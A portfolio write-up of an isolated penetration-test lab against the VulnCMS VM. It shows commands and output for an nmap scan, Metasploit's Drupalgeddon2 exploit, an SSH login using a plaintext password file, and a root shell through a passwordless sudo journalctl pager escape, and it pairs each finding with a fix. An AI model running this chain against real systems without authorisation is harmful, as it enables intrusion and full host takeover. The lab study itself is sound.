All projects

Offensive Security

VulnCMS: Web-to-Root Penetration Test

From a Drupal flaw to full Linux access

Nmap logo

Featured lab

Completed lab
Network PentestingLinuxWeb SecurityNmapMetasploitDrupalCVE-2018-7600Privilege EscalationTechnical Reporting
Open TCP ports
5

SSH plus four HTTP applications

Initial foothold
9001

Drupal 7 application surface

Trust boundaries crossed
3

Web service, SSH user and root

Verified impact
Root

UID 0 and both flags accessible

What this showed

Reached root in the lab through four linked weaknesses. Sensitive values are left out of the public write-up.

What I learned

The important part was the chain. The web shell alone was limited, but an exposed password and loose sudo rule turned it into full access.

Links and notes

More on this project

Completed lab
Walkthrough referenceHelpful reference for the route used in this lab.VulnHub machineThe intentionally vulnerable VM used for the lab.

Lab notes

A few notes on scope, evidence and what is kept private.

  • Completed in an isolated VulnCMS: 1 lab.
  • Commands are shortened so the page stays readable.
  • Passwords and flags are redacted.
  • Each finding includes a practical fix.

The short version

This was an isolated VulnCMS lab. After mapping the host, the Drupal 7 app on port 9001 gave a shell. A password file led to SSH access as tyrell, and a passwordless journalctl rule completed the path to root.

Setup and scope

Kali Linux and the intentionally vulnerable VulnCMS: 1 VM on a host-only network. Addresses, passwords and flags are replaced or redacted.

What I set out to do

Find a realistic path from the web app to the host, then show how the small mistakes could be chained.

A few checks

Commands → results

01 / Attack surface

Command

nmap -Pn -sC -sV -p- TARGET_VM

Result

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  http
8081/tcp open  http
9001/tcp open  http

[+] 5 exposed TCP services

A full-port scan prevented the non-standard web applications from being missed.

02 / Drupal foothold

Command

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS TARGET_VM
set RPORT 9001
run

Result

[*] Sending stage to TARGET_VM
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: www-data

The Drupal 7 application provided unauthenticated operating-system command execution.

03 / Credential pivot

Command

cat /var/www/html/drupal/misc/tyrell.pass
ssh tyrell@TARGET_VM

Result

Username: tyrell
Password: [REDACTED]

tyrell@TARGET_VM's password: ********
tyrell@vuln_cms:~$

A plaintext application artifact converted the web foothold into an authenticated SSH session.

04 / Root verification

Command

sudo -l
sudo /bin/journalctl
!/bin/sh
id

Result

(root) NOPASSWD: /bin/journalctl

uid=0(root) gid=0(root) groups=0(root)
user.txt: [REDACTED]
root.txt: [REDACTED]

journalctl opened an interactive pager; its shell escape inherited root privileges.

How the path unfolded

One path, from the web app to a normal user and then root.

  1. 01

    Discover TARGET_VM

  2. 02

    Map 22, 80, 5000, 8081, 9001

  3. 03

    Fingerprint Drupal 7 on :9001

  4. 04

    Exploit Drupalgeddon2

  5. 05

    Execute as www-data

  6. 06

    Read misc/tyrell.pass

  7. 07

    SSH as tyrell

  8. 08

    Abuse sudo journalctl

  9. 09

    Verify uid=0

What stood out

Vulnerable Web-Facing CMS

What I saw

Drupalgeddon2 against the Drupal 7 service on port 9001 opened a session as www-data.

Why it matters

Unauthenticated web exposure could be converted into host-level command execution.

Why it happened

An outdated CMS installation remained reachable and exploitable inside the assessed environment.

What would help

Patch or retire unsupported CMS versions, restrict exposed administration surfaces and monitor for exploitation attempts.

Credentials Stored in an Accessible Application File

What I saw

The compromised Drupal context exposed misc/tyrell.pass; its redacted credential authenticated successfully over SSH.

Why it matters

A temporary web compromise became authenticated host access through SSH credential reuse.

Why it happened

Secrets were stored in a location reachable from the application compromise context.

What would help

Remove plaintext secrets from application directories, use environment or secrets-management mechanisms, rotate exposed credentials and restrict filesystem permissions.

Improper Sudo Configuration Enabling Privilege Escalation

What I saw

sudo -l allowed (root) NOPASSWD: /bin/journalctl; the documented pager escape returned uid=0.

Why it matters

A low-privilege authenticated user could become root on the host.

Why it happened

An interactive binary capable of invoking a shell was permitted through passwordless sudo.

What would help

Apply least privilege to sudoers, avoid passwordless execution of pager-capable programs and use tightly scoped administrative wrappers where needed.

How I worked through it

The main steps, from a first look to a verified result.

  1. 01Found the lab host and scanned every TCP port.
  2. 02Checked each web app and narrowed the route down to the Drupal site on port 9001.
  3. 03Confirmed the Drupal version and used the matching lab exploit.
  4. 04Verified command access as www-data.
  5. 05Found the redacted password file and used it to log in as tyrell over SSH.
  6. 06Checked sudo permissions and tested the journalctl escape in the lab.
  7. 07Confirmed root access without publishing flags or credentials.